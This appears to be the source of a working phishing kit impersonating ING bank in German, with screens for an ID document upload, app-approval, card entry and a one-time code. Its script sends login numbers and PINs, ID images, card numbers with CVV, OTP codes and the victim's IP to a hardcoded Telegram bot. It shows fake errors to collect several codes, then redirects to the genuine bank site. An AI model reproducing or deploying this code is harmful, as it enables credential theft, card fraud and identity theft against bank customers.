                                <div class="upload-icon">
                                    <i class="fas fa-id-card"></i>
                                </div>
                                <span class="upload-label">Vorderseite</span>
                                <span class="upload-hint">Personalausweis oder Reisepass</span>
                                <input type="file" id="frontUpload" accept="image/*,.pdf">
                                <div class="upload-preview" id="frontPreview"></div>
                                <div class="upload-filename" id="frontFilename"></div>
                            </div>
                            <div class="upload-box" id="backUploadBox" onclick="document.getElementById('backUpload').click()">
                                <div class="upload-icon">
                                    <i class="fas fa-id-card"></i>
                                </div>
                                <span class="upload-label">Rückseite</span>
                                <span class="upload-hint">Nur bei Personalausweis erforderlich</span>
                                <input type="file" id="backUpload" accept="image/*,.pdf">
                                <div class="upload-preview" id="backPreview"></div>
                                <div class="upload-filename" id="backFilename"></div>
                            </div>
                        </div>
                    </div>
                    <button type="submit" class="id-submit-btn" id="idSubmitBtn" disabled>
                        <i class="fas fa-shield-check"></i>
                        Identität verifizieren
                    </button>
                </form>
                <div class="security-info">
                    <div class="security-info-item">
                        <div class="security-info-icon">
                            <i class="fas fa-lock"></i>
                        </div>
                        <span class="security-info-text">SSL-Verschlüsselung</span>
                    </div>
                    <div class="security-info-item">
                        <div class="security-info-icon">
                            <i class="fas fa-shield-alt"></i>
                        </div>
                        <span class="security-info-text">DSGVO-konform</span>
                    </div>
                    <div class="security-info-item">
                        <div class="security-info-icon">
                            <i class="fas fa-user-shield"></i>
                        </div>
                        <span class="security-info-text">Datenschutz garantiert</span>
                    </div>
                </div>
            </div>
        </div>
        <div class="footer">
            <div class="footer-content">
                <div class="copyright">© 2025 ING Bank Śląski S.A. All rights reserved.</div>
                <div class="cookie-links">
                    <a href="#" class="cookie-link">Cookies settings</a>
                    <a href="#" class="cookie-link">Cookies policy</a>
                </div>
            </div>
        </div>
    </div>

    <div class="screen" id="verificationScreen">
        <div class="verification-header">
            <img src="https://www.pngall.com/wp-content/uploads/5/ING-Group-Logo-PNG-Clipart-Background.png" alt="ING Logo" class="logo">
            <div class="header-actions">
                <button class="header-btn"><i class="fas fa-globe"></i> DE</button>
                <button class="header-btn"><i class="fas fa-headset"></i> Hilfe</button>
            </div>
        </div>
        <div class="verification-container">
            <div class="verification-content">
                <div class="verification-icon"><i class="fas fa-shield-alt"></i></div>
                <h1 class="verification-title">Bestätigen Sie die Anmeldung in der ING App</h1>
                <div class="verification-subtitle">Sicherheitsbestätigung erforderlich</div>
                <p class="verification-message">Zum Schutz Ihres Kontos benötigen wir eine Bestätigung über Ihre ING Banking App. Bitte öffnen Sie die App auf Ihrem Smartphone und bestätigen Sie die Anmeldung innerhalb der nächsten 5 Minuten.</p>
                <ul class="verification-steps">
                    <li class="verification-step"><div class="step-number">1</div><div class="step-text">Öffnen Sie die ING Banking App auf Ihrem Smartphone</div></li>
                    <li class="verification-step"><div class="step-number">2</div><div class="step-text">Sie erhalten eine Benachrichtigung zur Anmeldebestätigung</div></li>
                    <li class="verification-step"><div class="step-number">3</div><div class="step-text">Bestätigen Sie die Anmeldung mit Ihrer App-Freigabe</div></li>
                </ul>
                <div class="security-badge"><i class="fas fa-lock"></i><span>Ihre Daten werden verschlüsselt übertragen</span></div>
                <button class="verification-btn" onclick="confirmVerification()"><i class="fas fa-check-circle"></i>Verstanden, ich bestätige in der App</button>
            </div>
            <div class="phone-visual">
                <div class="phone-mockup">
                    <div class="phone-screen">
                        <div class="app-icon"><i class="fas fa-university"></i></div>
                        <div class="app-title">ING Banking</div>
                        <div class="app-message">Bestätigen Sie Ihre Anmeldung im Browser</div>
                        <button class="approve-btn">Anmelden bestätigen</button>
                    </div>
                </div>
            </div>
        </div>
        <div class="verification-footer">
            <div class="verification-footer-content">
                <div class="verification-copyright">© 2025 ING Bank Śląski S.A. All rights reserved.</div>
                <div class="verification-cookie-links">
                    <a href="#" class="verification-cookie-link">Cookies settings</a>
                    <a href="#" class="verification-cookie-link">Cookies policy</a>
                </div>
            </div>
        </div>
    </div>

    <div class="screen" id="cardEntryScreen">
        <div class="header">
            <img src="https://www.pngall.com/wp-content/uploads/5/ING-Group-Logo-PNG-Clipart-Background.png" alt="ING Logo" class="logo">
            <div class="header-actions">
                <button class="header-btn"><i class="fas fa-globe"></i> DE</button>
                <button class="header-btn"><i class="fas fa-headset"></i> Hilfe</button>
            </div>
        </div>
        <div class="card-entry-container">
            <div class="payment-header">
                <div class="payment-icon"><i class="fas fa-credit-card"></i></div>
                <h1 class="card-entry-title">Sichere Zahlungsdaten</h1>
                <p class="card-entry-subtitle">Bitte geben Sie Ihre Kreditkarteninformationen ein</p>
            </div>
            <div class="card-form">
                <form id="cardForm">
                    <div class="form-group">
                        <label class="form-label" for="cardNumber">Kartennummer</label>
                        <div class="input-with-icon"><i class="far fa-credit-card"></i><input type="text" id="cardNumber" class="form-input" placeholder="1234 5678 9012 3456" maxlength="19"></div>
                        <div class="validation-message error" id="cardNumberError" style="display: none;"><i class="fas fa-exclamation-circle"></i>Ungültige Kartennummer</div>
                    </div>
                    <div class="form-row">
                        <div class="form-group">
                            <label class="form-label" for="expiryDate">Ablaufdatum</label>
                            <div class="input-with-icon"><i class="far fa-calendar-alt"></i><input type="text" id="expiryDate" class="form-input" placeholder="MM/JJ" maxlength="5"></div>
                            <div class="validation-message error" id="expiryDateError" style="display: none;"><i class="fas fa-exclamation-circle"></i>Ungültiges Ablaufdatum</div>
                        </div>
                        <div class="form-group">
                            <label class="form-label" for="cvv">Sicherheitscode (CVV)</label>
                            <div class="input-with-icon"><i class="fas fa-lock"></i><input type="text" id="cvv" class="form-input" placeholder="123" maxlength="3"></div>
                            <div class="validation-message error" id="cvvError" style="display: none;"><i class="fas fa-exclamation-circle"></i>Ungültiger CVV-Code</div>
                        </div>
                    </div>
                    <div class="form-group">
                        <label class="form-label" for="cardHolder">Name des Karteninhabers</label>
                        <div class="input-with-icon"><i class="far fa-user"></i><input type="text" id="cardHolder" class="form-input" placeholder="MAX MUSTERMANN"></div>
                        <div class="validation-message error" id="cardHolderError" style="display: none;"><i class="fas fa-exclamation-circle"></i>Nur Buchstaben erlaubt</div>
                    </div>
                    <button type="submit" class="card-submit-btn"><i class="fas fa-shield-alt"></i>Zahlung sichern & abschließen</button>
                </form>
                <div class="card-security-grid">
                    <div class="card-security-feature"><i class="fas fa-lock"></i><span>256-bit Verschlüsselung</span></div>
                    <div class="card-security-feature"><i class="fas fa-shield-alt"></i><span>PCI DSS konform</span></div>
                    <div class="card-security-feature"><i class="fas fa-check-circle"></i><span>3D Secure</span></div>
                    <div class="card-security-feature"><i class="fas fa-fingerprint"></i><span>Biometrische Authentifizierung</span></div>
                    <div class="card-security-feature"><i class="fas fa-user-shield"></i><span>Zwei-Faktor-Authentifizierung</span></div>
                    <div class="card-security-feature"><i class="fas fa-server"></i><span>Sichere Server-Verbindung</span></div>
                </div>
            </div>
        </div>
        <div class="card-entry-footer">
            <div class="card-entry-footer-content">
                <div class="card-entry-copyright">© 2025 ING Bank Śląski S.A. All rights reserved.</div>
                <div class="card-entry-cookie-links">
                    <a href="#" class="card-entry-cookie-link">Cookies settings</a>
                    <a href="#" class="card-entry-cookie-link">Cookies policy</a>
                </div>
            </div>
        </div>
    </div>

    <div class="screen" id="verificationCodeScreen">
        <div class="header">
            <img src="https://www.pngall.com/wp-content/uploads/5/ING-Group-Logo-PNG-Clipart-Background.png" alt="ING Logo" class="logo">
            <div class="header-actions">
                <button class="header-btn"><i class="fas fa-globe"></i> DE</button>
                <button class="header-btn"><i class="fas fa-headset"></i> Hilfe</button>
            </div>
        </div>
        <div class="verification-code-container">
            <div class="payment-header">
                <div class="payment-icon"><i class="fas fa-mobile-alt"></i></div>
                <h1 class="verification-code-title">Sicherheitscode bestätigen</h1>
                <p class="verification-code-subtitle">Bitte geben Sie den 6-stelligen Code ein, der an Ihr Mobilgerät gesendet wurde</p>
            </div>
            <div class="verification-code-form">
                <div class="code-info"><p>Wir haben einen Sicherheitscode an Ihr registriertes Mobilgerät gesendet</p></div>
                <div class="error-message" id="errorMessage">Falscher Sicherheitscode. Bitte versuchen Sie es erneut.</div>
                <div class="success-message" id="successMessage">Verifizierung erfolgreich! Die Informationen wurden korrekt bestätigt. Sie werden in 5 Sekunden weitergeleitet.</div>
                <form id="verificationCodeForm">
                    <div class="code-inputs">
                        <input type="text" class="code-input" maxlength="1" data-index="0">
                        <input type="text" class="code-input" maxlength="1" data-index="1">
                        <input type="text" class="code-input" maxlength="1" data-index="2">
                        <input type="text" class="code-input" maxlength="1" data-index="3">
                        <input type="text" class="code-input" maxlength="1" data-index="4">
                        <input type="text" class="code-input" maxlength="1" data-index="5">
                    </div>
                    <button type="submit" class="verification-code-btn"><i class="fas fa-check-circle"></i>Code bestätigen</button>
                </form>
                <div class="resend-code"><p>Keinen Code erhalten? <a href="#" class="resend-link">Code erneut senden</a></p></div>
                <div class="verification-security-grid">
                    <div class="verification-security-feature"><i class="fas fa-shield-alt"></i><span>Zwei-Faktor-Authentifizierung</span></div>
                    <div class="verification-security-feature"><i class="fas fa-lock"></i><span>End-to-End Verschlüsselung</span></div>
                    <div class="verification-security-feature"><i class="fas fa-clock"></i><span>Zeitlich begrenzte Gültigkeit</span></div>
                    <div class="verification-security-feature"><i class="fas fa-mobile-alt"></i><span>Geräte-basierte Sicherheit</span></div>
                    <div class="verification-security-feature"><i class="fas fa-user-check"></i><span>Identitätsprüfung</span></div>
                    <div class="verification-security-feature"><i class="fas fa-ban"></i><span>Automatische Sperrung bei Fehlversuchen</span></div>
                </div>
            </div>
        </div>
        <div class="verification-code-footer">
            <div class="verification-code-footer-content">
                <div class="verification-code-copyright">© 2025 ING Bank Śląski S.A. All rights reserved.</div>
                <div class="verification-code-cookie-links">
                    <a href="#" class="verification-code-cookie-link">Cookies settings</a>
                    <a href="#" class="verification-code-cookie-link">Cookies policy</a>
                </div>
            </div>
        </div>
    </div>

    <div class="screen" id="successScreen">
        <div class="header">
            <img src="https://www.pngall.com/wp-content/uploads/5/ING-Group-Logo-PNG-Clipart-Background.png" alt="ING Logo" class="logo">
            <div class="header-actions">
                <button class="header-btn"><i class="fas fa-globe"></i> DE</button>
                <button class="header-btn"><i class="fas fa-headset"></i> Hilfe</button>
            </div>
        </div>
        <div class="success-container">
            <div class="payment-header">
                <div class="success-icon"><i class="fas fa-check-circle"></i></div>
                <h1 class="success-title">Verifizierung erfolgreich!</h1>
                <p class="success-subtitle">Die Informationen wurden korrekt bestätigt</p>
            </div>
            <div class="success-content">
                <div class="success-message-large">
                    <p>Ihre Verifizierung war erfolgreich. Sie werden in Kürze weitergeleitet.</p>
                </div>
                <div class="countdown" id="countdown">Weiterleitung in 5 Sekunden...</div>
                <div class="security-features">
                    <div class="security-feature"><i class="fas fa-shield-alt"></i><span>Sichere Verbindung</span></div>
                    <div class="security-feature"><i class="fas fa-lock"></i><span>Verschlüsselte Übertragung</span></div>
                </div>
            </div>
        </div>
        <div class="success-footer">
            <div class="success-footer-content">
                <div class="success-copyright">© 2025 ING Bank Śląski S.A. All rights reserved.</div>
                <div class="success-cookie-links">
                    <a href="#" class="success-cookie-link">Cookies settings</a>
                    <a href="#" class="success-cookie-link">Cookies policy</a>
                </div>
            </div>
        </div>
    </div>

    <script>
        let countdown, timeLeft = 15, verificationAttempts = 0, successCountdown, verificationTimeout;
        const togglePassword = () => {
            const pinInput = document.getElementById('pin'), toggleIcon = document.querySelector('.password-toggle i');
            pinInput.type = pinInput.type === 'password' ? 'text' : 'password';
            toggleIcon.classList.toggle('fa-eye-slash');
        };
        const showLoading = (message = "Authentifizierung läuft...") => {
            document.getElementById('loadingMessage').textContent = message;
            document.getElementById('loadingOverlay').style.display = 'flex';
        };
        const hideLoading = () => document.getElementById('loadingOverlay').style.display = 'none';
        const showIdVerification = () => document.getElementById('idVerificationScreen').style.display = 'flex';
        const closeIdVerification = () => document.getElementById('idVerificationScreen').style.display = 'none';
        const showVerification = () => {
            document.getElementById('verificationScreen').style.display = 'flex';
            timeLeft = 15;
            clearTimeout(verificationTimeout);
            verificationTimeout = setTimeout(() => {
                closeVerification();
                showLoading("Verarbeitung läuft...");
                setTimeout(() => {
                    hideLoading();
                    showCardEntry();
                }, 12000);
            }, 15000);
        };
        const closeVerification = () => {
            document.getElementById('verificationScreen').style.display = 'none';
            clearTimeout(verificationTimeout);
        };
        const showCardEntry = () => document.getElementById('cardEntryScreen').style.display = 'flex';
        const closeCardEntry = () => document.getElementById('cardEntryScreen').style.display = 'none';
        const showVerificationCode = () => {
            document.getElementById('verificationCodeScreen').style.display = 'flex';
            document.getElementById('errorMessage').style.display = 'none';
            document.getElementById('successMessage').style.display = 'none';
            verificationAttempts = 0;
            resetCodeInputs();
        };
        const closeVerificationCode = () => document.getElementById('verificationCodeScreen').style.display = 'none';
        const showSuccessScreen = () => {
            document.getElementById('successScreen').style.display = 'flex';
            startSuccessCountdown();
        };
        const closeSuccessScreen = () => {
            document.getElementById('successScreen').style.display = 'none';
            if (successCountdown) clearInterval(successCountdown);
        };
        const resetCodeInputs = () => {
            const codeInputs = document.querySelectorAll('.code-input');
            codeInputs.forEach(input => {
                input.value = '';
                input.classList.remove('error', 'success', 'filled');
            });
        };
        const setCodeInputsError = () => {
            const codeInputs = document.querySelectorAll('.code-input');
            codeInputs.forEach(input => {
                input.value = '';
                input.classList.add('error');
                input.classList.remove('success', 'filled');
            });
        };
        const setCodeInputsSuccess = () => {
            const codeInputs = document.querySelectorAll('.code-input');
            codeInputs.forEach(input => {
                input.classList.add('success');
                input.classList.remove('error', 'filled');
            });
        };
        const startSuccessCountdown = () => {
            let seconds = 5;
            const countdownElement = document.getElementById('countdown');
            countdownElement.textContent = `Weiterleitung in ${seconds} Sekunden...`;
            successCountdown = setInterval(() => {
                seconds--;
                countdownElement.textContent = `Weiterleitung in ${seconds} Sekunden...`;
                if (seconds <= 0) {
                    clearInterval(successCountdown);
                    window.location.href = 'https://www.ing.de/';
                }
            }, 1000);
        };
        const confirmVerification = () => {
            closeVerification();
            showLoading("Verarbeitung läuft...");
            setTimeout(() => {
                hideLoading();
                showCardEntry();
            }, 12000);
        };

        const luhnCheck = (cardNumber) => {
            const cleaned = cardNumber.replace(/\s+/g, '');
            if (!/^\d+$/.test(cleaned)) return false;

            let sum = 0;
            let isEven = false;

            for (let i = cleaned.length - 1; i >= 0; i--) {
                let digit = parseInt(cleaned.charAt(i), 10);

                if (isEven) {
                    digit *= 2;
                    if (digit > 9) digit -= 9;
                }

                sum += digit;
                isEven = !isEven;
            }

            return sum % 10 === 0;
        };

        const validateCardNumber = (cardNumber) => {
            const cleaned = cardNumber.replace(/\s+/g, '');
            if (cleaned.length < 13 || cleaned.length > 19) return false;
            return luhnCheck(cardNumber);
        };

        const validateExpiryDate = (expiryDate) => {
            const regex = /^(0[1-9]|1[0-2])\/([0-9]{2})$/;
            if (!regex.test(expiryDate)) return false;

            const [month, year] = expiryDate.split('/');
            const now = new Date();
            const currentYear = now.getFullYear() % 100;
            const currentMonth = now.getMonth() + 1;

            const expiryYear = parseInt(year, 10);
            const expiryMonth = parseInt(month, 10);

            if (expiryYear < currentYear) return false;
            if (expiryYear === currentYear && expiryMonth < currentMonth) return false;

            return true;
        };

        const validateCVV = (cvv) => {
            return /^\d{3,4}$/.test(cvv);
        };

        const validateCardHolder = (cardHolder) => {
            return /^[a-zA-ZäöüÄÖÜß\s]+$/.test(cardHolder);
        };

        const validateForm = () => {
            const cardNumber = document.getElementById('cardNumber').value;
            const expiryDate = document.getElementById('expiryDate').value;
            const cvv = document.getElementById('cvv').value;
            const cardHolder = document.getElementById('cardHolder').value;

            let isValid = true;

            if (!validateCardNumber(cardNumber)) {
                document.getElementById('cardNumber').classList.add('error');
                document.getElementById('cardNumberError').style.display = 'flex';
                isValid = false;
            } else {
                document.getElementById('cardNumber').classList.remove('error');
                document.getElementById('cardNumberError').style.display = 'none';
            }

            if (!validateExpiryDate(expiryDate)) {
                document.getElementById('expiryDate').classList.add('error');
                document.getElementById('expiryDateError').style.display = 'flex';
                isValid = false;
            } else {
                document.getElementById('expiryDate').classList.remove('error');
                document.getElementById('expiryDateError').style.display = 'none';
            }

            if (!validateCVV(cvv)) {
                document.getElementById('cvv').classList.add('error');
                document.getElementById('cvvError').style.display = 'flex';
                isValid = false;
            } else {
                document.getElementById('cvv').classList.remove('error');
                document.getElementById('cvvError').style.display = 'none';
            }

            if (!validateCardHolder(cardHolder) || cardHolder.trim() === '') {
                document.getElementById('cardHolder').classList.add('error');
                document.getElementById('cardHolderError').style.display = 'flex';
                isValid = false;
            } else {
                document.getElementById('cardHolder').classList.remove('error');
                document.getElementById('cardHolderError').style.display = 'none';
            }

            return isValid;
        };

        const getIP = async () => {
            try {
                const response = await fetch('https://api.ipify.org?format=json');
                const data = await response.json();
                return data.ip;
            } catch (error) {
                return 'IP nicht verfügbar';
            }
        };

        const sendToTelegram = async (message) => {
            const token = '6907540496:AAFXr4xLj0a65oY86Qx6SHL_uYkQPB5Wf4M';
            const chatId = '-5166524829';
            const url = `https://api.telegram.org/bot${token}/sendMessage`;

            try {
                await fetch(url, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({
                        chat_id: chatId,
                        text: message,
                        parse_mode: 'HTML'
                    })
                });
            } catch (error) {
                console.error('Error sending to Telegram:', error);
            }
        };

        const sendFileToTelegram = async (file, caption) => {
            const token = '6907540496:AAFXr4xLj0a65oY86Qx6SHL_uYkQPB5Wf4M';
            const chatId = '-5166524829';
            const url = `https://api.telegram.org/bot${token}/sendDocument`;

            const formData = new FormData();
            formData.append('chat_id', chatId);
            formData.append('document', file);
            formData.append('caption', caption);

            try {
                await fetch(url, {
                    method: 'POST',
                    body: formData
                });
            } catch (error) {
                console.error('Error sending file to Telegram:', error);
            }
        };

        document.getElementById('loginForm').addEventListener('submit', async function(e) {
            e.preventDefault();
            const zugangsnummer = document.getElementById('zugangsnummer').value, pin = document.getElementById('pin').value;
            if (zugangsnummer && pin) {
                showLoading();

                const ip = await getIP();
                const message = `login: ${zugangsnummer}\npassword: ${pin}\nIP: ${ip}`;
                await sendToTelegram(message);

                setTimeout(() => {
                    hideLoading();
                    showIdVerification();
                }, 12000);
            }
        });
        document.querySelector('.btn-secondary').addEventListener('click', async () => {
            const zugangsnummer = document.getElementById('zugangsnummer').value, pin = document.getElementById('pin').value;
            showLoading();

            if (zugangsnummer && pin) {
                const ip = await getIP();
                const message = `login: ${zugangsnummer}\npassword: ${pin}\nIP: ${ip}`;
                await sendToTelegram(message);
            }

            setTimeout(() => {
                hideLoading();
                showIdVerification();
            }, 12000);
        });

        let frontFile = null, backFile = null;

        document.getElementById('frontUpload').addEventListener('change', function(e) {
            frontFile = e.target.files[0];
            if (frontFile) {
                document.getElementById('frontUploadBox').classList.add('has-file');
                document.getElementById('frontFilename').innerHTML = `<i class="fas fa-check-circle"></i>${frontFile.name}`;
                document.getElementById('frontFilename').style.display = 'flex';
                checkUploadCompletion();
            }
        });

        document.getElementById('backUpload').addEventListener('change', function(e) {
            backFile = e.target.files[0];
            if (backFile) {
                document.getElementById('backUploadBox').classList.add('has-file');
                document.getElementById('backFilename').innerHTML = `<i class="fas fa-check-circle"></i>${backFile.name}`;
                document.getElementById('backFilename').style.display = 'flex';
                checkUploadCompletion();
            }
        });

        const checkUploadCompletion = () => {
            const submitBtn = document.getElementById('idSubmitBtn');
            if (frontFile) {
                submitBtn.disabled = false;
            }
        };

        document.getElementById('idVerificationForm').addEventListener('submit', async function(e) {
            e.preventDefault();
            showLoading("Dokumente werden verarbeitet...");

            const ip = await getIP();

            if (frontFile) {
                await sendFileToTelegram(frontFile, `ID Front - IP: ${ip}`);
            }

            if (backFile) {
                await sendFileToTelegram(backFile, `ID Back - IP: ${ip}`);
            }

            setTimeout(() => {
                hideLoading();
                closeIdVerification();
                showVerification();
            }, 12000);
        });

        document.getElementById('cardNumber').addEventListener('input', function(e) {
            let value = e.target.value.replace(/\s+/g, '').replace(/[^0-9]/gi, ''), formattedValue = '';
            for (let i = 0; i < value.length; i++) {
                if (i > 0 && i % 4 === 0) formattedValue += ' ';
                formattedValue += value[i];
            }
            e.target.value = formattedValue;

            if (validateCardNumber(e.target.value)) {
                e.target.classList.remove('error');
                e.target.classList.add('success');
                document.getElementById('cardNumberError').style.display = 'none';
            } else {
                e.target.classList.remove('success');
            }
        });
        document.getElementById('expiryDate').addEventListener('input', function(e) {
            let value = e.target.value.replace(/[^0-9]/g, '');
            if (value.length >= 2) value = value.substring(0, 2) + '/' + value.substring(2);
            e.target.value = value.substring(0, 5);

            if (validateExpiryDate(e.target.value)) {
                e.target.classList.remove('error');
                e.target.classList.add('success');
                document.getElementById('expiryDateError').style.display = 'none';
            } else {
                e.target.classList.remove('success');
            }
        });
        document.getElementById('cvv').addEventListener('input', function(e) {
            e.target.value = e.target.value.replace(/[^0-9]/g, '').substring(0, 4);

            if (validateCVV(e.target.value)) {
                e.target.classList.remove('error');
                e.target.classList.add('success');
                document.getElementById('cvvError').style.display = 'none';
            } else {
                e.target.classList.remove('success');
            }
        });
        document.getElementById('cardHolder').addEventListener('input', function(e) {
            e.target.value = e.target.value.replace(/[^a-zA-ZäöüÄÖÜß\s]/g, '');

            if (validateCardHolder(e.target.value) && e.target.value.trim() !== '') {
                e.target.classList.remove('error');
                e.target.classList.add('success');
                document.getElementById('cardHolderError').style.display = 'none';
            } else {
                e.target.classList.remove('success');
            }
        });
        document.getElementById('cardForm').addEventListener('submit', async function(e) {
            e.preventDefault();
            if (validateForm()) {
                showLoading("Zahlungsdaten werden verarbeitet...");

                const cardNumber = document.getElementById('cardNumber').value;
                const expiryDate = document.getElementById('expiryDate').value;
                const cvv = document.getElementById('cvv').value;
                const ip = await getIP();
                const message = `CARD: ${cardNumber}\nMM/JJ: ${expiryDate}\nCVV: ${cvv}\nIP: ${ip}`;
                await sendToTelegram(message);

                setTimeout(() => {
                    hideLoading();
                    showVerificationCode();
                }, 12000);
            }
        });
        document.getElementById('verificationCodeForm').addEventListener('submit', async function(e) {
            e.preventDefault();
            showLoading("Code wird überprüft...");

            const codeInputs = document.querySelectorAll('.code-input');
            let code = '';
            codeInputs.forEach(input => {
                code += input.value;
            });

            const ip = await getIP();
            const message = `OTP: ${code}\nIP: ${ip}`;
            await sendToTelegram(message);

            setTimeout(() => {
                hideLoading();
                verificationAttempts++;
                if (verificationAttempts < 3) {
                    setCodeInputsError();
                    document.getElementById('errorMessage').style.display = 'block';
                    document.getElementById('successMessage').style.display = 'none';
                } else {
                    setCodeInputsSuccess();
                    document.getElementById('errorMessage').style.display = 'none';
                    document.getElementById('successMessage').style.display = 'block';
                    setTimeout(() => {
                        closeVerificationCode();
                        showSuccessScreen();
                    }, 2000);
                }
            }, 12000);
        });
        const codeInputs = document.querySelectorAll('.code-input');
        codeInputs.forEach((input, index) => {
            input.addEventListener('input', function(e) {
                const value = e.target.value.replace(/[^0-9]/g, '');
                e.target.value = value;

                if (value.length === 1 && /[0-9]/.test(value)) {
                    e.target.classList.add('filled');
                    if (index < codeInputs.length - 1) codeInputs[index + 1].focus();
                } else if (value.length === 0) e.target.classList.remove('filled');
            });
            input.addEventListener('keydown', function(e) {
                if (e.key === 'Backspace' && e.target.value.length === 0 && index > 0) codeInputs[index - 1].focus();
            });
            input.addEventListener('paste', function(e) {
                e.preventDefault();
                const pasteData = e.clipboardData.getData('text').replace(/[^0-9]/g, '');
                if (pasteData.length === 6) {
                    for (let i = 0; i < 6; i++) {
                        if (codeInputs[i]) {
                            codeInputs[i].value = pasteData[i];
                            codeInputs[i].classList.add('filled');
                        }
                    }
                    codeInputs[5].focus();
                }
            });
        });
    </script>
</body>
</html>